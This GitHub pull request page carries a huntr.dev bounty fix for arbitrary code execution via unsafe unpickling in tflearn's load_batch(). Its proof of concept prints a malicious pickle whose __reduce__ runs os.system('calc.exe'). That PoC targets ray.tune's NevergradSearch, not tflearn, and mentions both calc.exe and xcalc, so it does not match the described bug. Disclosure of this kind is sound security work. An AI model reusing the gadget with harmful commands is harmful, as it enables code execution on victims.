E536 Security Fix for Arbitrary Code Execution - huntr.dev by huntr-helper · Pull Request #1163 · tflearn/tflearn · GitHub
[go: up one dir, main page]
Skip to content

Security Fix for Arbitrary Code Execution - huntr.dev#1163

Open
huntr-helper wants to merge 4 commits intotflearn:masterfrom
418sec:1-pip-tflearn
Open

Security Fix for Arbitrary Code Execution - huntr.dev#1163
huntr-helper wants to merge 4 commits intotflearn:masterfrom
418sec:1-pip-tflearn

Conversation

@huntr-helper
Copy link
@huntr-helper huntr-helper commented Jan 25, 2021

https://huntr.dev/users/Anon-Artist has fixed the Arbitrary Code Execution vulnerability 🔨. Think you could fix a vulnerability like this?

Get involved at https://huntr.dev/

Q | A
Version Affected | ALL
Bug Fix | YES
Original Pull Request | 418sec#1
Vulnerability README | https://github.com/418sec/huntr/blob/master/bounties/pip/tflearn/1/README.md

User Comments:

📊 Metadata *

TFlearn is a modular and transparent deep learning library built on top of Tensorflow. It was designed to provide a higher-level API to TensorFlow in order to facilitate and speed-up experimentations, while remaining fully transparent and compatible with it. This package was vulnerable to Arbitrary Code Execution.

Bounty URL: https://www.huntr.dev/bounties/1-pip-tflearn

⚙️ Description *

load_batch() function is used to load CIFAR 10 dataset for training. Lack of restriction in input allowes attacker-crafted file to get unpickled which causes code execution.

💻 Technical Description *

Fixed by avoiding unsafe loader.

🐛 Proof of Concept (PoC) *

Create the following PoC file:
exploit.py

import pickle
import os
import nevergrad
from ray.tune.suggest.nevergrad import NevergradSearch

class EvilPickle(object):
    def __reduce__(self):
        return (os.system, ('calc.exe', ))

payload = pickle.dumps(EvilPickle())
optimizer = nevergrad.optimization.Optimizer(1)
ngSearch = NevergradSearch(optimizer)

with open('payload', 'wb') as f:
    f.write(payload)

ngSearch.restore('payload')

Execute the following commands in another terminal:

python3 exploit.py

Check the Output:

xcalc will pop up.

🔥 Proof of Fix (PoF) *

After fix it will not popup a calc.

👍 User Acceptance Testing (UAT)

After fix functionality is unaffected.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

3 participants

@huntr-helper @Anon-Artist @JamieSlome
0